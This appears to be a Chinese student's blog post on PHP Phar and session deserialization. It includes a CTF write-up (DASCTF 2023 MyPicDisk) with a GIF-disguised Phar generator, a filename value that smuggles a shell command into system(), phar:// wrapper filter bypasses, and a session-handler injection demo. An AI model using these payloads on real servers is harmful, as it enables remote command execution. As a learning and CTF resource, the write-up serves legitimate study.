PHP的两种反序列化学习
前言
随着学习向前,遇到的新知识点,也就是对以前反序列化学习的内容补充
PHP Phar反序列化
什么是Phar
Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。
默认开启版本 PHP version >= 5.3
在了解原理之前,我们查询了一下官方手册,手册里针对 phar:// 这个伪协议是这样介绍的。
Phar归档文件最有特色的特点是可以方便地将多个文件分组为一个文件。这样,phar归档文件提供了一种将完整的PHP应用程序分发到单个文件中并从该文件运行它的方法,而无需将其提取到磁盘中。此外,PHP可以像在命令行上和从Web服务器上的任何其他文件一样轻松地执行phar存档。 Phar有点像PHP应用程序的拇指驱动器。(译文)
简单理解 phar:// 就是一个类似 file:// 的流包装器,它的作用可以使得多个文件归档到统一文件,并且在不经过解压的情况下被php所访问,并且执行。
phar文件的结构:
大体来说 Phar 结构由4部分组成
stub :phar文件标识
<?php
Phar::mapPhar();
include 'phar://phar.phar/index.php';
__HALT_COMPILER();
?>
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。也就是说如果我们留下这个标志位,构造一个图片或者其他文件,那么可以绕过上传限制,并且被 phar 这函数识别利用。比如
setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
a manifest describing the contents 压缩文件信息,phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
the file contents
被压缩文件的内容。
[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾,格式如下:
签证尾部的01
代表md5加密,02
代表sha1加密,04
代表sha256加密,08
代表sha512加密
当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名 更换签名的脚本(别的师傅的)
from hashlib import sha1
with open('test.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
file.write(newf) # 写入新文件
Phar反序列化
Phar之所以能反序列化,是因为Phar文件会以序列化的形式存储用户自定义的meta-data
,PHP使用phar_parse_metadata
在解析meta数据时,会调用php_var_unserialize
进行反序列化操作。
利用条件
1、phar文件能够上传至服务器
//即要求存在file_get_contents()、fopen()这种函数
2、要有可利用的魔术方法
//这个的话用一位大师傅的话说就是利用魔术方法作为"跳板"
3、文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
//一般利用姿势是上传Phar文件后通过伪协议Phar来实现反序列化,伪协议Phar格式是`Phar://`这种,如果这几个特殊字符被过滤就无法实现反序列化
4、php.ini中的phar.readonly选项,需要为Off(默认是on)。
如果题目限制了,
phar://
不能出现在头几个字符。可以用Bzip / Gzip
协议绕过。$filename = 'compress.zlib://phar://phar.phar/test.txt'; - `compress.bzip2://phar://` - `compress.zlib://phar:///` - `php://filter/resource=phar://`
虽然会警告但仍会执行,它同样适用于
compress.bzip2://
当文件系统函数的参数可控时,我们可以在不调用unserialize()
的情况下进行反序列化操作,极大的拓展了反序列化攻击面。Phar属于伪协议,伪协议使用较多的是一些文件操作函数,如
fopen()
、copy()
、file_exists()
等,具体如下图,也就是下面的函数如果参数可控可以造成Phar反序列化
fopen() unlink() stat() fstat() fseek() rename() opendir() rmdir() mkdir() file_put_contents() file_get_contents() file_exists() fileinode() include() require() include_once require_once() filemtime() fileowner() fileperms() filesize() is_dir() scandir() rmdir() highlight_file()
生成脚本,设置stub的地方可以改成别的,为的就是绕过检测,这里改成GIF89a是gif的文件头,当过滤了phar,我们就可以通过这种伪造将phar文件后缀改成gif来上传最后访问也可以识别
<?php
class TestObject {
}//根据题目构造
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o->name='<?php phpinfo();?>';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
在生成的phar文件里我们也都可以找到我们构造的内容
赛题复现
MyPicDisk(DASCTF 2023 & 0X401七月暑期挑战赛)
登录进去构造万能密码,同时禁用js
下载看源码(重要的地方我标注出来了)
<?php
session_start();
error_reporting(0);
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
if (preg_match("/\//i", $filename)){
throw new Error("hacker!");
}
$num = substr_count($filename, ".");
if ($num != 1){
throw new Error("hacker!");
}
if (!is_file($filename)){
throw new Error("???");
}
$this->filename = $filename;
$this->size = filesize($filename);
$this->lasttime = filemtime($filename);
}
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
public function __destruct(){
system("ls -all ".$this->filename);//我们可以执行命令的地方,但是没有unserialize()
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
echo '
<form method="POST">
username:<input type="text" name="username"></p>
password:<input type="password" name="password"></p>
<input type="submit" value="登录" name="submit"></p>
</form>
';
$xml = simplexml_load_file('/tmp/secret.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']";//可以xPath注入得到密码
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}
}
else{
if ($_SESSION['user'] !== 'admin') {//我们要以admin的身份登录不然session会重置
echo "<script>alert('you are not admin!!!!!');</script>";
unset($_SESSION['user']);
echo "<script>location.href='/index.php';</script>";
}
echo "<!-- /y0u_cant_find_1t.zip -->";
if (!$_GET['file']) {
foreach (scandir(".") as $filename) {
if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
}
}
echo '
<form action="index.php" method="post" enctype="multipart/form-data">
选择图片:<input type="file" name="file" id="">
<input type="submit" value="上传"></form>
';
if ($_FILES['file']) {//一些过滤
$filename = $_FILES['file']['name'];
if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
die("hacker!");
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
} else {
die('failed');
}
}
}
else{
$filename = $_GET['file'];
if ($_GET['todo'] === "md5"){
echo md5_file($filename);//可以触发phar反序列化
}
else {
$file = new FILE($filename);
if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
echo "<img src='../" . $filename . "'><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
} else if ($_GET['todo'] === "remove") {
$file->remove();
echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
} else if ($_GET['todo'] === "show") {
$file->show();
}
}
}
}
?>
</body>
</html>
思路就很明显了
方法一:
我们首先通过xpath盲注得到admin密码,然后再构造phar文件,通过md5_file()触发pahr反序列化
密码:15035371139
生成phar文件
<?php
class FILE{
public $filename;
public function remove(){
unlink($this->filename);
}
}//根据题目构造
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new FILE();
$o->filename=';echo bHMgLw==|base64 -d|sh';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
后缀改为gif,上传
使用phar协议以及触发file_md5()函数
payload:?file=phar://phar.gif&todo=md5
Getflag
方法二:
直接拼接不细讲了
Session反序列化
什么是Session
Session是一次浏览器和服务器的交互的会话 ,会话是什么?就是How are you?I'm fine,Thank you。就是一次会话,那么对话完成后,这次会话相当于就结束了,但为什么会出现Session会话呢?因为我们用浏览器访问网站用的是http协议,http协议是一种无状态的协议,就是说它不会储存任何东西,每一次的请求都是没有关联的,无状态的协议好处就是快速;但它也有不方便的地方,比如说我们在login.php登录了,我们肯定希望在index.php中也是登录的状态,否则我们登录还有什么意义呢?但前面说到了http协议是无状态的协议,那访问两个页面就是发起两个http请求,他们俩之间是无关联的,所以无法单纯的在index.php中读取到它在login.php中已经登陆了的;为了解决这个问题,cookie就诞生了,cookie是把少量数据存在客户端,它在一个域名下是全局的,相当于php可以在这个域名下的任何页面读取cookie信息,那只要我们访问的两个页面在同一个域名下,那就可以通过cookie获取到登录信息了;但这里就存在安全问题了,因为cookie是存在于客户端的,那用户就是可见的,并且可以随意修改的;那如何又要安全,又可以全局读取信息呢?这时候Session就出现了,其实它的本质和cookie是一样的,只不过它是存在于服务器端的
关于Session的一些机制
默认是没有session的,首先是打开session,php语句是session_start();首先来看看session_start()
这个函数的返回值是布尔型,既不会成功也不会报错,它的作用是打开Session,并且随机生成一个32位的session_id,session的全部机制也是基于这个session_id,服务器就是通过这个唯一的session_id来区分出这是哪个用户访问的:
可以看到我标注出来的两个部分我认为是重点
一步一步来
首先看看session的生成
这里可以看出session_id()这个系统方法是输出了本次生成的session_id,并且存入了COOKIE中,参数名为PHPSESSID,这两个值是相同的,而且只要浏览器一直不关,无论刷新多少次它的值都是不变的,但当你关掉浏览器之后它就消失了,重新打开之后会生成一个新的session_id,session_id就是用来标识一个用户的,就像是一个人的身份证一样
再来看看关于session的一些配置
PHP session在phpinfo中主要存在以下配置项:
session.gc_divisor php session垃圾回收机制相关配置
session.sid_bits_per_character 指定编码的会话ID字符中的位数
session.save_path="" 该配置主要设置
session
的存储路径session.save_handler="" 该配置主要设定用户自定义存储函数,如果想使用PHP内置
session
存储机制之外的可以使用这个函数session.use_strict_mode 严格会话模式,严格会话模式不接受未初始化的会话ID并重新生成会话ID
session.use_cookies 指定是否在客户端用 cookie 来存放会话 ID,默认启用
session.cookie_secure 指定是否仅通过安全连接发送
cookie
,默认关闭session.use_only_cookies 指定是否在客户端仅仅使用
cookie
来存放会话 ID,启用的话,可以防止有关通过 URL 传递会话 ID 的攻击session.name 指定会话名以用做
cookie
的名字,只能由字母数字组成,默认为PHPSESSID
session.auto_start 指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.cookie_lifetime 指定了发送到浏览器的 cookie 的生命周期,单位为秒,值为 0 表示“直到关闭浏览器”。默认为 0
session.cookie_path 指定要设置会话
cookie
的路径,默认为 /session.cookie_domain 指定要设置会话
cookie
的域名,默认为无,表示根据cookie
规范产生cookie
的主机名session.cookie_httponly 将Cookie标记为只能通过HTTP协议访问,即无法通过脚本语言(例如JavaScript)访问Cookie,此设置可以有效地帮助通过XSS攻击减少身份盗用
session.serialize_handler 定义用来序列化/反序列化的处理器名字,默认使用
php
,还有其他引擎,且不同引擎的对应的session的存储方式不相同,具体可见下文所述session.gc_probability 该配置项与
session.gc_divisor
合起来用来管理garbage collection
,即垃圾回收进程启动的概率session.gc_divisor 该配置项与
session.gc_probability
合起来定义了在每个会话初始化时启动垃圾回收进程的概率session.gc_maxlifetime 指定过了多少秒之后数据就会被视为“垃圾”并被清除,垃圾搜集可能会在
session
启动的时候开始( 取决于session.gc_probability
和session.gc_divisor
)session.referer_check 包含有用来检查每个
HTTP Referer
的子串。如果客户端发送了Referer
信息但是在其中并未找到该子串,则嵌入的会话 ID 会被标记为无效。默认为空字符串session.cache_limiter 指定会话页面所使用的缓冲控制方法(
none/nocache/private/private_no_expire/public
)。默认为nocache
session.cache_expire 以分钟数指定缓冲的会话页面的存活期,此设定对
nocache
缓冲控制方法无效。默认为 180session.use_trans_sid 指定是否启用透明 SID 支持。默认禁用
session.sid_length 配置会话ID字符串的长度。 会话ID的长度可以在22到256之间。默认值为32。
session.trans_sid_tags 指定启用透明sid支持时重写哪些HTML标签以包括会话ID
session.trans_sid_hosts 指定启用透明sid支持时重写的主机,以包括会话ID
session.sid_bits_per_character 配置编码的会话ID字符中的位数
session.upload_progress.enabled 启用上传进度跟踪,并填充
$ _SESSION
变量, 默认启用。session.upload_progress.cleanup 读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用
session.upload_progress.prefix 配置
$ _SESSION
中用于上传进度键的前缀,默认为upload_progress_
session.upload_progress.name
$ _SESSION
中用于存储进度信息的键的名称,默认为PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.freq 定义应该多长时间更新一次上传进度信息
session.upload_progress.min_freq 更新之间的最小延迟
session.lazy_write 配置会话数据在更改时是否被重写,默认启用
session反序列化中的重点就是保存的路径 session.save_path=和session.serialize_handler
首先看看刚在我们session_start()开启的id
有但是内容是空的
我们直接改session值看看会发生什么
会发现同步都会更改,现在里面的内容是空,再看看向里写入内容是什么结果
发现成功写进去了,它的内容就是将键值对序列化之后的结果
总结一下大致过程就是:
HTTP请求一个页面后,如果用到开启session
,会去读COOKIE
中的PHPSESSID
是否有,如果没有,则会新生成一个session_id
,先存入COOKIE
中的PHPSESSID
中,再生成一个sess_
前缀文件。当有写入$_SESSION
的时候,就会往sess_
文件里序列化写入数据。当读取到session
变量的时候,先会读取COOKIE
中的PHPSESSID
,获得session_id
,然后再去找这个sess_session_id
文件,来获取对应的数据。由于默认的PHPSESSID
是临时的会话,在浏览器关闭后就会消失,所以,当我们打开浏览器重新访问的时候,就会新生成session_id
和sess_session_id
这个文件。
同时也发现了这个特殊的序列化格式
在这之前就要看看session.serialize_handler中定义的三种序列化/反序列化的处理器
处理器名称 | 存储格式 |
---|---|
php | 键名 + 竖线 + 经过 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 |
php_serialize | 经过serialize()函数序列化处理的数组(php>5.5.4) |
php
<?php
highlight_file(__FILE__);
session_start();
ini_set('session.serialize_handler','php');
$_SESSION['test']='sessiontest';
echo "session_id(): ".session_id()."<br>";
echo "COOKIE: ".$_COOKIE["PHPSESSID"];
由于是默认的,所以也就是一开始我们看到的,键名 + 竖线 + 经过serialize()
函数序列化处理的值
php_binary
<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['testtesttesttesttesttesttesttesttest']='sessiontest';
echo "session_id(): ".session_id()."<br>";
echo "COOKIE: ".$_COOKIE["PHPSESSID"];
这个处理器的格式是键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理后的值(会出现不可见字符)
36对应的就是$
php_serialize
<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['testseri']='sessiontest';
echo "session_id(): ".session_id()."<br>";
echo "COOKIE: ".$_COOKIE["PHPSESSID"];
这个的格式是直接进行序列化,把session中的键和值都会被进行序列化操作,然后把它当成一个数组返回回来
php
处理器和php_serialize处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。原理就在php
处理器写入时的格式为键名+竖线|+经过serialize()序列化处理后的值
那它读取时,肯定就会以竖线|
作为一个分隔符,前面的为键名,后面的为键值,然后将键值进行反序列化操作;而php_serialize
处理器是直接进行序列化,然后返回序列化后的数组,那我们在传入的序列化内容前加一个分隔符|
,从而正好序列化我们传入的内容
简单Demo
定义一个session.php
文件,用于传入 session
值,文件内容如下:
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = '';
?>
存在另一个class.php
文件,内容如下:
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class Test{
public $name = 'Nbc';
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$a = new Test();
?>
这两个文件的作用很清晰,session.php
文件的处理器是php_serialize
,class.php
文件的处理器是php
,session.php
文件的作用是传入可控的 session
值,class.php
文件的作用是在反序列化开始前输出Who are you?
,反序列化结束的时候输出name
值。
这两个文件如果想要利用,我们要在session.php
文件传入|
+序列化
格式的值,然后再次访问class.php
文件的时候,就会在调用session
值的时候,触发漏洞。
payload
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class Test{
public $name = 'Nbc';
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$a = new Test();
$a->name = "Hack";
echo serialize($a);
?>
//O:4:"Test":1:{s:4:"name";s:4:"Hack";}
再次访问class.php
后记
越学越能意识到php体系的结束才算是入门Web的学习之路。前段时间听了已经工作了的学长们的分享,已经对学习的建议,让我少了许多困惑。
首先,学习的深度一定要有,不能只浮在于表面,要跟随知识点横向竖向拓展,不能学习的时候就按照别的师傅的博客思路走,那么学习收到的成果并不一定很多。想起来我之前跟别人说的话大概是“每天都坐在同一个环境下相同的时间学习,排除个体效率的差异,凭什么比别人强?那么你就要有别人所不具备的,不论是方法还是心态等,但是在这之前,你要做到别人都做到了的”即使是我自己说的,但是果然自己也不一定就悟透了,最基本的我连原话都记的不是那么清,就像读同一本书每次读都有不同的感受一样。
还有就是,专精,要有自己的长处,不能只局限于什么都会一点,那么等于什么都不会,而是要有自己所非常擅长的方向,领域,别人达不到的。
最后就是,少想一点,踏实下来学好自己的方向内容,平院长说的对,想的太多就是选择太多了导致的,至少现在我没必要想这么多,毕竟才算是刚刚入门Web。